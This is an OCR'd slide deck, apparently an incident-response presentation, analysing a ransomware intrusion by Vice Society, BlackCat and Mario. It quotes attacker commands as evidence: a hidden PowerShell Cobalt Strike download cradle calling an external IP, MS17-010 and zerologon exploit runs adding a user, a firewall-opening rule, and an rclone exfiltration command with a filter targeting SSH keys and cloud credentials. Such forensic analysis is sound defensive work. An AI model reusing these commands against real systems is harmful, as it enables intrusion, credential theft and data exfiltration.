. H ScriptBlockId","#text":"437fccde-1703-42f9-a4f4-a94f2abeb7a3"}, {"@Name": "Path"
https:/Qithub.com/61106960/adPEAS ol

a “n» (=

O adpeas| v Find Find Prev FindAl %

34
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https://github.com/61106960/adPEAS

Credential Access & Discovery

TA used network scanner tools such as Advanced Port Scanner, Angry
IP Scanner, netscan, and a custom PS scripts

The reason why you keep seeing netscan.exe being used by the threat
actor nowadays and one of the go-to tools to perform network scanning

is bec. of its multi functionalities, and not just to act as a network o is a free network scanner allowing you to quickly find open ports on
scanner. # =Lsean network computers and retrieve versions of programs running on the
VMware Fusion  File View  Virtual Machine Window  Help detected ports

o c\users\temp\appdatallocal\temp\6\advanced port scanner
2\advanced_port_scanner.exe

i Vendor o is an open-source and cross-platform network scanner designed to be
fast and simple to use
o C\Program Files\Angry IP Scanner\ipscan.exe

o is a stand-alone version of the SoftPerfect Network Scanner, version
7.2.9 for 64-bit operating systems.
o C:\Users\<REDACTED>\Desktop\64-bit\netscan.exe

from List

o Used to collect browser and software information
cui+0 o \REDACTED-DC1.******com\s$\w.ps]

netscan.exe

4:39 PM - Feb 16, 2023 - 17.6K Views

netscan.lic

netscan.xml

® -
,/' paloalto ’ UN!T 42 © 2023 Palo Alto Networks, Inc. All rights reserved.
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Credential Access - w.psl

w.psl

Begins by collecting all installed software on the victim
machine. This is performed by querying the following
directories/paths recursively.

e  C\Program Files

e  C)\Program Files (x86)

e  HKLM\SOFTWARE\Microsoft\Windows\CurrentVersio
n\Uninstall¥

e  C\Program Files (x86)\Google\Chrome

It continues to sequentially run functions that will perform
the following:

Collect observed URLs from Chrome history
Collect observed URLs from Chrome boo
Collect observed URLs from Internet E>
Collect observed URLs from Internet E
bookmarks

° Collect observed URLs from Firefox h

The script proceeds to merge this
information: :

. Computer name
° Usernames "
e  Installed softy

4/ paloalto
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Lateral Movement

PsExec Others
e C\s$\psexec.exe e RDP | mstsc.exe
e C\programdata\psexec.exe WMI .
e C:\Users\<REDACTED\Downloads\PSTools\psexec.exe PSRemoting
[ J

EID 4624 LogonType 10

C:\Users\<REDACTED>\Desktop\PSTools\PsExec64.exe
AnyDesk

UNREGISTERED

© 2023 Palo Alto Networl



Persistence & Lateral Movement

PROCESS INFORMATION

Path: C:\Program Files (x86)\AnyDesk\AnyDesk.exe
Command line:  “C:\Program Files (x86)\AnyDesk\AnyDesk.exe" --service

L NTAUTHORITY\SYSTEM

SHA256: 31e5a4:

Username:  NTAUTHORITY\SYSTEM
Signature: Signed by philandro Software GmbH
WildFire: Benign

ANALYTICS PROFILES calculated periodically over the last 30 days. Last update 8 hours ago

. e s . AnyDesk.exe seen on 51 endpoin
<= wininit.exe = services.exe AnyDesk.exe yDesk.exe sce points

AnyDesk.exe with sha256 109b03...d42975 seen on 33 endpoints
AnyDesk.exe executed from the same path on 40 endpoints

C:\Program Files (x86)\AnyDesk\AnyDesk.exe executed with the same command line on 39
endpoints

WILDFIRE SCORE SHA256 AUTOFOCUS TAGS
(3 (& Benign B3 109b03ffc45231e5a4c8805a10926492890f7b568f8a... N/A

MD5 SIGNATURE cMD

B 2621b754576047a6e94acbf1dd4feOef (3 Signed by philandro Software GmbH [ "C:\Program Files (x86)\AnyDesk\AnyDesk.exe" --service

Anydesk has been observed into multiple machines, particularly to do persistence, lateral
movement, and remote access

,& paloalto© ‘ r/ UNIT 42 © 2023 Palo Alto Networks, Inc. All rights reserved.
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Persistence & Lateral Movement

ce.

Y

134 info
135 warning
136 info
137 info
138 info
139 error
140 info
141 info
142 info
143 info
144 info
145 info
146 info
147 info
148 info
149 info
150 info
151 info
152 info
153 info
154 info
155 info
156 info
157 info
158 info
159 info
160 info
161 info
162 info
163 info
164 info
165 info
166 info
167 info
168 info
169 info
170 info
171  warning
172 info
173 info
174 info
175 error
176 error
177 error
178 info
179 info

180 warning
181 warning
182 info
183  warning
184 warning
185 warning

18611 info

PRYPEVER oy

2022-10-28 01
2022-10-28 01

2022-10-28 01:01:44.702

Trune
letrl
letrl
letrl
Tsve
front
letrl
letrl
Tsve
front
front
lsvc
Tsve
lsvc
lsve
Tsve
lsve
lsve
lsve
lsve
Tsvc
Tsve
lsve
Isve
Tsve
lsve
Tsve
lsvc
lsve
lsve
lsve
Tsve
letrl
lsvc
Tsve
lsve
lsve
lsve
lsve
lsvc
lsve
lsve
lsve
Tsve
Tsve
Tsve
Isve
Tsve
front
letrl
Tsve
letrl
front
front

pres
23656 17476
23656 17476
23656
23752 10752
21116
23656 17476
pE
23752 10752
21116 1580
21116 6052
23752 10752
23752 10752
23752 10752
23752 10752
23752 10752
23752
23752 10752
23752
23752 10752
23752 10752
23752 10752
23752 10752
23752 10752
23752
23752 10752
23752
23752
23752 10752
23752
23752 10752
23752 10752
23656 23556
23752 10752
23752 10752
23752 10752
23752
23752 10752
23752 10752
23752 10752
23752 10752
23752
23752
23752 10752
23752
23752 10752
23752
23752 10752
21116
23656 6544
23752 10752
23656 6544
21116 22088
21116 22088

13
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AWWNNNEDSEDS

IS

appsusel i1y
clipbrd.capture
account_info

ad_app. control

anynet. conn

win_app. frontend
base.proxy_finder
ad_app. control
connector
win_app. frontend
base.monitor_info
fiber.scheduler
Bnynet.relay connector
fiber.scheduler
handshake
fiber.scheduler

fiber. fiber
fiber.scheduler
fiber.scheduler

fiber. fiber
fiber.scheduler
connector
connector

connector
connector
connector
fiber.scheduler
fnynet. relay connector
fiber.scheduler
handshake

ad_app. tray

connector
connector
fiber.scheduler
anynet.main_relay_conn
anynet. conn
anynet.main_relay_conn
anynet.main_relay_conn
anynet.main_relay_conn
license_service_adapter
license_service_adapter
license_service_adapter
anynet. connection_mgr
anynet. connection_mgr
anynet.conn

sif

ad_app. control
anynet.conn
ad_app.control
app.user_info
anymessage.provider

#/» paloalto’
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Setting new capture formats: text files.

Could not read account info from config.

Received new license info. (, 51)

Request before connect. Queueing.

Frontend startup complete.

Proxy resolution failed (00002f94).

Control startup finished.

Using IPv4: 92,223,

Disallowing Google Chrome offer (no permission: 0x@0000000 & 0x00000001).
Monitors found: 2

Spawning root fiber 14.

Cipher: ECDHE-ECDSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH Au=ECDSA Enc=AESGCM(256) Mac=AEAD
Spawning root fiber 15.

Using protocol version 3.

Fiber 9 requested quit of fiber 15.

Received quit.

Fiber 15 terminated.

Fiber 9 requested quit of fiber 14.

Received quit.

Fiber 14 terminated.

Connection terminated: anynet_invalid_zone

Received a new server list (2 servers)

Connecting to relay relay-8cc@4380.net.anydesk.com (1/2)
Skipping connect method connect_proxy_443 (1/6) (no proxy found)
Skipping connect method connect_proxy_80 (2/6) (no proxy found)
Skipping connect method socks_proxy_443 (3/6) (no proxy found)
Using IPv4: 92.38.

Spawning root fiber 16.

Cipher: ECDHE-ECDSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH Au=ECDSA Enc=AESGCM(256) Mac=AEAD
Spawning root fiber 17.

Using protocol version 3.

Created the icon.

Connection established.

Relay connector stopped.

Fiber 9 terminated.

Network ID: main

External address: 50.239. 56032.

Could not send login token. unavailable (62).

Reporting system information.

Main relay ID: 8cc04380

Detected 2 new networks.

Unhandled message. (license_msg_t)

Unhandled message. (connect_msg_t)

Unhandled message. (user_data_msg_t)

Main relay connection established.

New user data. Client-ID: 357873725.

Could not send login token. unavailable (66).

Dropping out of date license response.

Received new license info. (free-1, 51)

Could not send login token. unavailable (47).

Dropping out of date license response.

Could not update user image (app.bitmap The system cannot find the path specified. (0x80070003)).

CID changed. Requesting messages update.

© 2023 Palo Alto Networks, Inc. All rights reserved.

AnyDesk

By looking at the following anydesk logs,
you will be able to identify the following:

ad.trace
%appdata®%\Anydesk\ad.trace

° Logon Events

° Logoff Events

° File Transfer

° Unattended Password Setup
ad_svc.trace
%programdata%\Anydesk\ad_svc.trac

e Logon Events

° Logoff Events

Connection_trace.txt
%PROGRAMDATA%\AnyDesk\connection

_trace.txt
) Incoming connection logs



93080ad7221540997e662166679d4b499cf518cda251325411482c04be 168867

P ) (D 27 security vendors and no sandboxes flagged this file as malicious

93080ad7221540997662166679d4b499cf518cda25132541482c04be1b8

chil <ExecutionTimeLimit>PT72H</ExecutionTimeLimit> " 30216 12:20:01 UTC
32 <PrioritZ|>7</Priority> .
33 </Settings
34 <Actions Context=""Author"">
55 <EX€C> DETECTION DETAILS BEHAVIOR CONTENT TELEMETRY COMMUNITY 4
36 <Command>rund1132</Command>
37 <Arguments>C:\Windows\System32\config\main.dll |Test</Arguments> Comments (@ ©
38 </Exec>
39 </Actions> thor
40 <Principals> ' 3 months ago
41 <Principal id=""Author""> YARA Signature Match - THOR APT Scanner
42 <UserId>S-1-5-18</UserId>
43 <RunLevel>LeastPrivilege</RunLevel>
44 </Principal> Y i
4 5 </ P r ln c lpa 'L S> 2EEERA\Z:S(I)\JRD;t:ﬁ;s”s:sﬁ:cmua Windows Go PE hlns lhal \oak as N fvnaln common strmgs hdve beeﬂ removed for obfuscation purposes
46 </Task>" rund1132 System 1.67174E+12 1.66619E+12
FALSE 1.49752E+12 rund1132 C:\Windows\System32\config\main.dll Test it el
66619E+12 1.66619E+12 C:\windows\System32\Tasks\\System 1.
49089E+12 1.49752E+12 S-1-5-18 TRUE 0x2 adfumadus dtowinisbplbimbosiaiiioto vt
Line 33, Column 14 Show less

The malware begins by identifying its hostname and external IP address by running the following commands:

° powershell.exe -command "get-wmiobject win32_computersystem [ select-object -expandproperty domain"
° powershell.exe -command "& nslookup myip.opendns.com resolverl.opendns.com"

After this occurs, the malware will open various ports on the victim firewall, via the following command:

° powershell.exe -command "new-netfirewallrule -displayname ' '-direction outbound -action allow
-protocol tcp -remoteport 80-130,443,2000-2050 -enabled true”

> -
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Vice Society: Execution & C2

svchost.exe
o  ClUserst =\ AppData\Local\Temp\5\svchost.exe ) Contained In Gollections (70) ©
e Clwindows\temp\svchost.exe

Cobalt Strike C2s Coll...  pomains: 78 | Files: 5 | IPs: 17931

e <REDACTED=>-DC1****** com\s$\svchost.exe

Cobalt Strike

° powershell.exe -nop -w hidden -c |EX ((new-object

net.webclient).downloadstring('http[:]/84.32.***[.]**:80/b"))

- {"EventData":{"Data":"Available, None,

- \tNewEngineState=Available\n\tPreviousEngineState=
- None\n\n\tSequenceNumber=13\n\n\tHostName=Cons
- oleHost\n\tHostVersion=5.1.17763.2931\n\tHost|d=2a0bf7
" 3e-ea09-4431-bff5-1c0f3e9d7c48\n\tHostApplication=p
. owershell.exe -nop -w hidden -c IEX ((hew-object

. net.webclient).downloadstring('http://84.32.****80/b"))
- \n\tEngineVersion=5.1.17763.2931\n\tRunspaceld=d655b
- 866-1882-4727-a85¢-5759bf3c40cl\n\tPipelineld=\n\tCo
" mmandName=\n\tCommandType=\n\tScriptName=\n\
- tCommandPath=\n\tCommandLine=""Binary":""}}

ssssssss

by sicehice
2023-02-22 04:12:43 UTC

CobaltStrike C2 - 30 D...

by CarlosCabal
2023-02-21 12:02:57 UTC

CobaltStrikeStage2_1...

by cobaltstrikebot
2022-11-30 08:00:07 UTC

CobaltStrikeC2s_1667...

by cobaltstrikebot
2022-11-30 08:00:07 UTC

CobaltStrikeC2s_1667...

by cobaltstrikebot
2022-12-01 08:00:04 UTC

CobaltStrikeStage2_1...

by cobaltstrikebot
2022-12-01 08:00:04 UTC

CobaltStrikeC2s_1667...

by cobaltstrikebot
2022-12-02 08:00:05 UTC

CobaltStrikeStage2_1...
by cobaltstrikebot
2022-12-02 08:00:05 UTC

CobaltStrikeC2s_1667...

by cobaltstrikebot
2022-12-04 08:00:11 UTC

software-toolkit Cobalt Strike C2 ip addresses. More info at https:/sicehice.com

IPs: 9413

IPs: 212

Domains: 40 | IPs: 164

Domains: 46 | IPs: 167

IPs: 222

Domains: 46 | IPs: 165

IPs: 218

Domains: 36 | IPs: 156
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PSReadline

. O Command History Found 22,058 results

o
Stow: PSReadine ConsoleHost_history.txt
TIMESTAMP it T | TYPE Y | COMMAND T | LINE .
Installed and enabled by default starting
12/09/2022 14:36:40.490 PSReadline cd \x64\ 2 i
from PowerShell v5 on Windows 10 onward.
12/09/2022 14:36:40.490 PSReadline Ams17-010-zzz.exe -t -dc1 -c "net user /add teste2 P@sswOrd" -P netlogon 15 It =S po nsi b | (=) fo r reco rd N g W h at Is ‘ty ped
12/09/2022 14:36:40.490 PsReadine Apython.exe Acme -h 24 into the console. The default option is to
12/09/2022 14:36:40.490 PSReadline \ms17-010-zzz.exe -t -dc1 -c "net user /add teste2 P@sswOrd" 14 save h Isto ry toa fl | SN
12/09/2022 14:36:40.490 PSReadline set log. 7 . . .
e  %userprofile®\AppData\Roaming\Mi
12/09/2022 14:36:40.490 PSReadline \zerOdump.exe -h 17 .
crosoft\Windows\PowerShel\PSRead
12/09/2022 14:36:40.490 PSReadline cd .\Downloads\ms17-010-zzz\ g I i N e\
12/09/2022 14:36:40.490 PSReadline \ms17-010-zzz.exe -t 10.1.10.5 -c "net user /add teste2 P@sswOrd" -P netlogon -u " " -p "frank99!" 12
12/09/2022 14:36:40.490 PSReadline \zerOdump.exe -target o-dcl 19
12/09/2022 14:36:40.490 PSReadline cd ..\python-3.8.10-embed-amd64\ 23 Foun d Interestin g fl |es suc h as:
12/09/2022 14:36:40.490 PSReadline \zerOdump.exe -target_machine « -dct. 20 M . . k t
° IMIiKatz.exe
12/09/2022 14:36:40.490 PSReadline \python.exe .\cme smb - i-p frank99! - im 10.1.10.5 -M zerologon 26
e ZerOdump.exe
12/09/2022 14:36:40.490 PSReadline \mimikatz.exe 3 ) mMsl17-010-zzz.exe
12/09/2022 14:36:40.490 PSReadline cd .\zer0dump\ d6 /
WV
12/09/2022 14:36:40.490 PSReadline \zerOdump.exe -target_machine >-dcl 18
12/09/2022 14:36:40.490 PSReadline \ms17-010-zzz.exe -t 10.1.10.5 -c "net user /add teste2 P@sswOrd" -P netlogon -u " -p "frank99!" 11
12/09/2022 14:36:40.490 PSReadline $env:Domain 6
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Data Exfiltration - Rclone Process Tree from XDR

| ISOLATED | | ® Connected | e4:1f:13:77:34:4d - 10.27.10.5 | cmd.exe | 2732

= cmd.exe 2 rclone.exe
PROCESS INFORMATION
& NTAUTHORITY\SYSTEM Path: C:\Windows\Temp\rclone.exe

Command line: rclone.exe --max-age 25y --delete-excluded copy C:/ mega:/. ./C:/ --ignore-case

i --config=rclone.conf --filter-from|filter.txt }-retn'es 20 --low-level-retries 20 --multi-thread-

D streams=10 --log~ﬁle=k.‘: \Windows\Temp\rclone.log |

S WhiPrSE exe o e SHA256: eca9fac6848545f9386176773810f96323feff0d575c4bbelc55f8db842e7fe

Username: NTAUTHORITY\SYSTEM
Signature: Unsigned

Running time: ~ Dec 16th 2022 18:34:24 - Dec 19th 2022 16:30:59

Rclone in action detected by XDR

NETWORKS
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Data Exfiltration - Rclone Execution

Process EXeCUtion roum s out of 5.497 447 resutes

Show: m Shimcache Amcache UserAssist Other ~

[ Executable Name Contains **rclon 1' R | [@ =2 Revert

HOSTNAME TIMESTAMP |
12/16/2022 00:55:27.335 Prefetch
12/16/2022 00:55:22.224 Prefetch
12/16/2022 00:54:54.025 Prefetch
12/16/2022 00:54:45.647 Prefetch
12/16/2022 00:23:37.290 Prefetch

12/15/2022 23:55:06.869 Prefetch

UNIT 42
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RCLONE.EXE

RCLONE.EXE

RCLONE.EXE

RCLONE.EXE

RCLONE.EXE

RCLONE.EXE




Data Exfiltration - Rclone Command Line & rclone.conf

rclone command line parameter
detected by XDR, executed in file

server and DC

rclone.conf - a config file thz
by the TA

C:\users\<USER>

////////////
///////////




Data Exfiltration - Rclone filter.txt

". [ X ] B filter.txt
4P filter.txt x

1 - $Recycle.Bin/

2 - Boot/

3 - PerflLogs/

4 - Program Files/

5 - Program Files (x86)/

6 - ProgramData/

7 - Recovery/

8 - System Volume Information/

9 - Windows/

10 + .aws/

11 + .ssh/

12 + .bash_history

13 + *.{dcdtm,ccab,dft,pdf,doc,docx,odt,tif,tiff, x1s,xlsx,pst,

eml,msg, jpg, jpeg,vsd,vsdx, kdbx, kdb,sql, txt,csv,dwg, cad,
pl2,crt,dbs,edb,abs,cmd, psl, bat,bak,pfx,7z,alz,zip, zipx,
rar,cer,crl,csr,p7b,p7r,spc,3db,4mp,acad,accdb,accdt, ade
,adp, apx,awdb, bib, btr, cdb, clg, cma, crp, cwdb,db,db2,db3,
db3,dbf, dbs, dbw, dbx,dcx,df1,df2,df3,df4,dnl,dsd,dtf,dtf,
fdb, fp5, fp7, fw2, fw3, fw4,gdb, gdb, ind, inx, inx, ipd, itdb, jod
,kdb, laccdb, ldb, 1k, mdb, mde, mdf,mdn,mn4,modb, mpd, ncb,ndb,
ndb, ndf,ndx,ns2,ns3,ns4,ns5,nsf,ntf,odl,0d2,0d3,0d4-9,
odb,oecl,0if,ov, pdb, pdb, pdb, pdt, phd, pho, px, rfp, rpd, rsd,
sd2, sdb, sdb, sql,sqlite,ssd,svy,swd,swdb, tdb, thm,usr,wd2,
wdb, xg@, xgl, xg2,xg3, xvu, zbd, 1df}

14 + WinSCP.ini

157 - 4

4/ paloalto’
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NOTE: the directory with (-) symbol
are completely excluded from the
listing while the directories and files
with (+ | +*) will be included:
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Impact - Double-Encrypted Files

Folders Other
B 2 ‘ vmware-1.log.qrg4dlj.mario - Vice
o 3 vmware-2.log.qrg4dlj.mario
B 4 vmware.log.mario BlackCat ,
- .grg4di
Bl 5
B o5 RansomHouse
R 7 - .mario

B 8
o 9
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To sum up everything

Ransomware Attack (Vice Society, BlackCat & Mario)

Creds Access & Recon. & Lat. Act On Ransom 'I"_“PaCt &
Initial Access Persistence Movement Objectives Demand essons

| T | T | =

Exposed RDP Portstarter Network scanning Escalating their Executing Systems down -
BruteForce Dumping NTDS.dit tools such as account privileges ransomware; Multiple days of no
Nishang AngrylPScanner, & exfiltrated sensitive Demanded 1.5$M productivity and
Mimikatz AdvancePortScanner, data via Rclone & due to known customer im
SessionGopher NetScan, AnyDesk WinSCP existing insurance Compw@/

adPEAS.psl
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Linkedin
https://Mww.linkedin.com/in/renzoncruz/

Twitter
https://twitter.com/r3nzsec

Email
renzoncruz.26@gmail.com

$

s
k ' memerunch.com
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